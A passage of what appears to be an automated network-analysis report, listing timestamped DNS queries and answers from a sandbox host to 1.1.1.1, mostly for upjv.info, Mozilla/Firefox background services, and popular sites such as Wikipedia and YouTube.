                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.161777973 CEST53648741.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.162497044 CEST5530953192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.162893057 CEST6509653192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.169667006 CEST53553091.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170097113 CEST53650961.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170789957 CEST5486053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.171233892 CEST6480553192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.177633047 CEST53548601.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.178563118 CEST53648051.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.057606936 CEST5124553192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.064621925 CEST53512451.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.070933104 CEST5139453192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.072472095 CEST5069353192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.078672886 CEST53513941.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079133987 CEST6292753192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079435110 CEST53506931.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.084225893 CEST5324253192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.087228060 CEST53629271.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.089448929 CEST6475853192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.092053890 CEST53532421.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.093169928 CEST5520253192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.097481012 CEST53647581.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.099142075 CEST6454653192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.100565910 CEST53552021.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.106345892 CEST53645461.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.545644045 CEST5450453192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.552872896 CEST53545041.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.556024075 CEST5359853192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.563286066 CEST53535981.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.545737028 CEST6003053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.553287029 CEST53600301.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.554018974 CEST6162453192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.561211109 CEST53616241.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.561808109 CEST5151753192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.568516016 CEST53515171.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.170671940 CEST6514053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.177768946 CEST53651401.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.179070950 CEST5389553192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.185900927 CEST53538951.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.812119007 CEST5631053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.019876957 CEST6384253192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.026828051 CEST53638421.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.127741098 CEST5487053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.135443926 CEST53548701.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.139847994 CEST4992053192.168.2.51.1.1.1
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.147031069 CEST53499201.1.1.1192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.773127079 CEST6212653192.168.2.51.1.1.1

                                                                                                                                                                                                                                                                  DNS Queries

                                                                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.159751892 CEST192.168.2.51.1.1.10x4cabStandard query (0)upjv.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:18.338316917 CEST192.168.2.51.1.1.10x29b9Standard query (0)upjv.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:22.676883936 CEST192.168.2.51.1.1.10xfbStandard query (0)prod.classify-client.prod.webservices.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:22.720927000 CEST192.168.2.51.1.1.10xca3cStandard query (0)prod.classify-client.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.754786968 CEST192.168.2.51.1.1.10x1c80Standard query (0)upjv.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.757679939 CEST192.168.2.51.1.1.10x81dcStandard query (0)detectportal.firefox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.774043083 CEST192.168.2.51.1.1.10xa986Standard query (0)prod.detectportal.prod.cloudops.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.788656950 CEST192.168.2.51.1.1.10x794aStandard query (0)prod.detectportal.prod.cloudops.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.792807102 CEST192.168.2.51.1.1.10x6fe1Standard query (0)upjv.infoA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.800476074 CEST192.168.2.51.1.1.10xf45dStandard query (0)upjv.info28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.936367035 CEST192.168.2.51.1.1.10x73eStandard query (0)example.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.937328100 CEST192.168.2.51.1.1.10x93e5Standard query (0)ipv4only.arpaA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.090334892 CEST192.168.2.51.1.1.10x2a27Standard query (0)contile.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.090574026 CEST192.168.2.51.1.1.10xc98fStandard query (0)detectportal.firefox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.096615076 CEST192.168.2.51.1.1.10xa564Standard query (0)spocs.getpocket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103617907 CEST192.168.2.51.1.1.10x7091Standard query (0)contile.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.105932951 CEST192.168.2.51.1.1.10xcfd7Standard query (0)prod.ads.prod.webservices.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.111399889 CEST192.168.2.51.1.1.10x7aefStandard query (0)contile.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.113914967 CEST192.168.2.51.1.1.10x92c4Standard query (0)prod.ads.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.125056982 CEST192.168.2.51.1.1.10x408Standard query (0)prod.balrog.prod.cloudops.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.139293909 CEST192.168.2.51.1.1.10x6db1Standard query (0)prod.balrog.prod.cloudops.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.005187035 CEST192.168.2.51.1.1.10xd2aeStandard query (0)content-signature-2.cdn.mozilla.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.018491983 CEST192.168.2.51.1.1.10x7540Standard query (0)prod.content-signature-chains.prod.webservices.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.027132988 CEST192.168.2.51.1.1.10x7bfbStandard query (0)prod.content-signature-chains.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.050920010 CEST192.168.2.51.1.1.10x7e47Standard query (0)shavar.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.710388899 CEST192.168.2.51.1.1.10x920bStandard query (0)push.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.731765985 CEST192.168.2.51.1.1.10x2bc2Standard query (0)push.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.739408016 CEST192.168.2.51.1.1.10xe6bdStandard query (0)push.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.422995090 CEST192.168.2.51.1.1.10x1b17Standard query (0)telemetry-incoming.r53-2.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.430758953 CEST192.168.2.51.1.1.10xfaa8Standard query (0)telemetry-incoming.r53-2.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.654452085 CEST192.168.2.51.1.1.10xe2d2Standard query (0)push.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.654870987 CEST192.168.2.51.1.1.10x1ad5Standard query (0)prod.balrog.prod.cloudops.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.672873974 CEST192.168.2.51.1.1.10x7c7Standard query (0)prod.balrog.prod.cloudops.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.267716885 CEST192.168.2.51.1.1.10xa5beStandard query (0)firefox.settings.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.275918961 CEST192.168.2.51.1.1.10x6c2dStandard query (0)prod.remote-settings.prod.webservices.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.284487963 CEST192.168.2.51.1.1.10xd96eStandard query (0)prod.remote-settings.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.787674904 CEST192.168.2.51.1.1.10x2be5Standard query (0)telemetry-incoming.r53-2.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.131174088 CEST192.168.2.51.1.1.10xe1b6Standard query (0)www.wikipedia.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.131468058 CEST192.168.2.51.1.1.10x665aStandard query (0)www.facebook.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.131468058 CEST192.168.2.51.1.1.10x2254Standard query (0)www.youtube.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138842106 CEST192.168.2.51.1.1.10x5b66Standard query (0)dyna.wikimedia.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138842106 CEST192.168.2.51.1.1.10xbab3Standard query (0)star-mini.c10r.facebook.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.139673948 CEST192.168.2.51.1.1.10x9538Standard query (0)youtube-ui.l.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.146974087 CEST192.168.2.51.1.1.10x8867Standard query (0)star-mini.c10r.facebook.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.147138119 CEST192.168.2.51.1.1.10xed04Standard query (0)youtube-ui.l.google.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.147597075 CEST192.168.2.51.1.1.10x9b92Standard query (0)dyna.wikimedia.org28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.154740095 CEST192.168.2.51.1.1.10x3156Standard query (0)www.reddit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.155059099 CEST192.168.2.51.1.1.10xd11eStandard query (0)twitter.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.162497044 CEST192.168.2.51.1.1.10x3686Standard query (0)twitter.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.162893057 CEST192.168.2.51.1.1.10x80d2Standard query (0)reddit.map.fastly.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.170789957 CEST192.168.2.51.1.1.10xb552Standard query (0)reddit.map.fastly.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.171233892 CEST192.168.2.51.1.1.10x1325Standard query (0)twitter.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.057606936 CEST192.168.2.51.1.1.10xc308Standard query (0)prod.balrog.prod.cloudops.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.070933104 CEST192.168.2.51.1.1.10xece6Standard query (0)services.addons.mozilla.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.072472095 CEST192.168.2.51.1.1.10xdb7eStandard query (0)prod.balrog.prod.cloudops.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.079133987 CEST192.168.2.51.1.1.10x530bStandard query (0)normandy.cdn.mozilla.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.084225893 CEST192.168.2.51.1.1.10xa8eaStandard query (0)services.addons.mozilla.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.089448929 CEST192.168.2.51.1.1.10x720dStandard query (0)normandy-cdn.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.093169928 CEST192.168.2.51.1.1.10xab83Standard query (0)services.addons.mozilla.org28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.099142075 CEST192.168.2.51.1.1.10xa9eeStandard query (0)normandy-cdn.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.545644045 CEST192.168.2.51.1.1.10x9171Standard query (0)push.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.556024075 CEST192.168.2.51.1.1.10x6a89Standard query (0)push.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.545737028 CEST192.168.2.51.1.1.10xe255Standard query (0)support.mozilla.orgA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.554018974 CEST192.168.2.51.1.1.10x7123Standard query (0)us-west1.prod.sumo.prod.webservices.mozgcp.netA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:54.561808109 CEST192.168.2.51.1.1.10x82aeStandard query (0)us-west1.prod.sumo.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.170671940 CEST192.168.2.51.1.1.10x26aStandard query (0)push.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.179070950 CEST192.168.2.51.1.1.10xbce7Standard query (0)push.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.812119007 CEST192.168.2.51.1.1.10x3831Standard query (0)detectportal.firefox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.019876957 CEST192.168.2.51.1.1.10x111eStandard query (0)telemetry-incoming.r53-2.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.127741098 CEST192.168.2.51.1.1.10x3a28Standard query (0)push.services.mozilla.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.139847994 CEST192.168.2.51.1.1.10xb1cbStandard query (0)push.services.mozilla.com28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.773127079 CEST192.168.2.51.1.1.10xef49Standard query (0)detectportal.firefox.comA (IP address)IN (0x0001)false

                                                                                                                                                                                                                                                                  DNS Answers

                                                                                                                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:03.208192110 CEST1.1.1.1192.168.2.50x4cabNo error (0)upjv.info46.105.204.6A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:18.378439903 CEST1.1.1.1192.168.2.50x29b9No error (0)upjv.info46.105.204.6A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:22.630420923 CEST1.1.1.1192.168.2.50xfcedNo error (0)prod.classify-client.prod.webservices.mozgcp.net35.190.72.216A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:22.684705973 CEST1.1.1.1192.168.2.50xfbNo error (0)prod.classify-client.prod.webservices.mozgcp.net35.190.72.216A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.766207933 CEST1.1.1.1192.168.2.50x81dcNo error (0)detectportal.firefox.comdetectportal.prod.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.766207933 CEST1.1.1.1192.168.2.50x81dcNo error (0)prod.detectportal.prod.cloudops.mozgcp.net34.107.221.82A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.780894995 CEST1.1.1.1192.168.2.50xa986No error (0)prod.detectportal.prod.cloudops.mozgcp.net34.107.221.82A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.790942907 CEST1.1.1.1192.168.2.50x1c80No error (0)upjv.info46.105.204.6A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.795799017 CEST1.1.1.1192.168.2.50x794aNo error (0)prod.detectportal.prod.cloudops.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.799896002 CEST1.1.1.1192.168.2.50x6fe1No error (0)upjv.info46.105.204.6A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:23.847259998 CEST1.1.1.1192.168.2.50xf45dNo error (0)upjv.info28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.944701910 CEST1.1.1.1192.168.2.50x73eNo error (0)example.org93.184.215.14A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.944776058 CEST1.1.1.1192.168.2.50x93e5No error (0)ipv4only.arpa192.0.0.170A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:25.944776058 CEST1.1.1.1192.168.2.50x93e5No error (0)ipv4only.arpa192.0.0.171A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.100382090 CEST1.1.1.1192.168.2.50xc98fNo error (0)detectportal.firefox.comdetectportal.prod.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.100382090 CEST1.1.1.1192.168.2.50xc98fNo error (0)prod.detectportal.prod.cloudops.mozgcp.net34.107.221.82A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.101821899 CEST1.1.1.1192.168.2.50x2a27No error (0)contile.services.mozilla.com34.117.188.166A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103750944 CEST1.1.1.1192.168.2.50xa564No error (0)spocs.getpocket.comprod.ads.prod.webservices.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.103750944 CEST1.1.1.1192.168.2.50xa564No error (0)prod.ads.prod.webservices.mozgcp.net34.117.188.166A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.110259056 CEST1.1.1.1192.168.2.50x7091No error (0)contile.services.mozilla.com34.117.188.166A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:26.113305092 CEST1.1.1.1192.168.2.50xcfd7No error (0)prod.ads.prod.webservices.mozgcp.net34.117.188.166A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.109812021 CEST1.1.1.1192.168.2.50xd0dfNo error (0)balrog-aus5.r53-2.services.mozilla.comprod.balrog.prod.cloudops.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.109812021 CEST1.1.1.1192.168.2.50xd0dfNo error (0)prod.balrog.prod.cloudops.mozgcp.net35.244.181.201A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:27.132266045 CEST1.1.1.1192.168.2.50x408No error (0)prod.balrog.prod.cloudops.mozgcp.net35.244.181.201A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.013000011 CEST1.1.1.1192.168.2.50xd2aeNo error (0)content-signature-2.cdn.mozilla.netcontent-signature-chains.prod.autograph.services.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.013000011 CEST1.1.1.1192.168.2.50xd2aeNo error (0)content-signature-chains.prod.autograph.services.mozaws.netprod.content-signature-chains.prod.webservices.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.013000011 CEST1.1.1.1192.168.2.50xd2aeNo error (0)prod.content-signature-chains.prod.webservices.mozgcp.net34.160.144.191A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.026247978 CEST1.1.1.1192.168.2.50x7540No error (0)prod.content-signature-chains.prod.webservices.mozgcp.net34.160.144.191A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.034555912 CEST1.1.1.1192.168.2.50x7bfbNo error (0)prod.content-signature-chains.prod.webservices.mozgcp.net28IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:28.058520079 CEST1.1.1.1192.168.2.50x7e47No error (0)shavar.services.mozilla.comshavar.prod.mozaws.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.717051983 CEST1.1.1.1192.168.2.50x920bNo error (0)push.services.mozilla.com34.107.243.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.738416910 CEST1.1.1.1192.168.2.50x2bc2No error (0)push.services.mozilla.com34.107.243.93A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.421746969 CEST1.1.1.1192.168.2.50xbf18No error (0)telemetry-incoming.r53-2.services.mozilla.com34.120.208.123A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.430143118 CEST1.1.1.1192.168.2.50x1b17No error (0)telemetry-incoming.r53-2.services.mozilla.com34.120.208.123A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.661087036 CEST1.1.1.1192.168.2.50xe3d0No error (0)balrog-aus5.r53-2.services.mozilla.comprod.balrog.prod.cloudops.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.661087036 CEST1.1.1.1192.168.2.50xe3d0No error (0)prod.balrog.prod.cloudops.mozgcp.net35.244.181.201A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:41.661566019 CEST1.1.1.1192.168.2.50x1ad5No error (0)prod.balrog.prod.cloudops.mozgcp.net35.244.181.201A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.274791956 CEST1.1.1.1192.168.2.50xa5beNo error (0)firefox.settings.services.mozilla.comprod.remote-settings.prod.webservices.mozgcp.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.274791956 CEST1.1.1.1192.168.2.50xa5beNo error (0)prod.remote-settings.prod.webservices.mozgcp.net34.149.100.209A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.283739090 CEST1.1.1.1192.168.2.50x6c2dNo error (0)prod.remote-settings.prod.webservices.mozgcp.net34.149.100.209A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.385953903 CEST1.1.1.1192.168.2.50x84c6No error (0)telemetry-incoming.r53-2.services.mozilla.com34.120.208.123A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.820059061 CEST1.1.1.1192.168.2.50x78cNo error (0)telemetry-incoming.r53-2.services.mozilla.com34.120.208.123A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138124943 CEST1.1.1.1192.168.2.50xe1b6No error (0)www.wikipedia.orgdyna.wikimedia.orgCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138124943 CEST1.1.1.1192.168.2.50xe1b6No error (0)dyna.wikimedia.org185.15.59.224A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138138056 CEST1.1.1.1192.168.2.50x665aNo error (0)www.facebook.comstar-mini.c10r.facebook.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138138056 CEST1.1.1.1192.168.2.50x665aNo error (0)star-mini.c10r.facebook.com157.240.0.35A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)www.youtube.comyoutube-ui.l.google.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com216.58.212.174A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.238A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.110A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.185.142A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:48.138245106 CEST1.1.1.1192.168.2.50x2254No error (0)youtube-ui.l.google.com142.250.184.238A (IP address)IN (0x0001)false
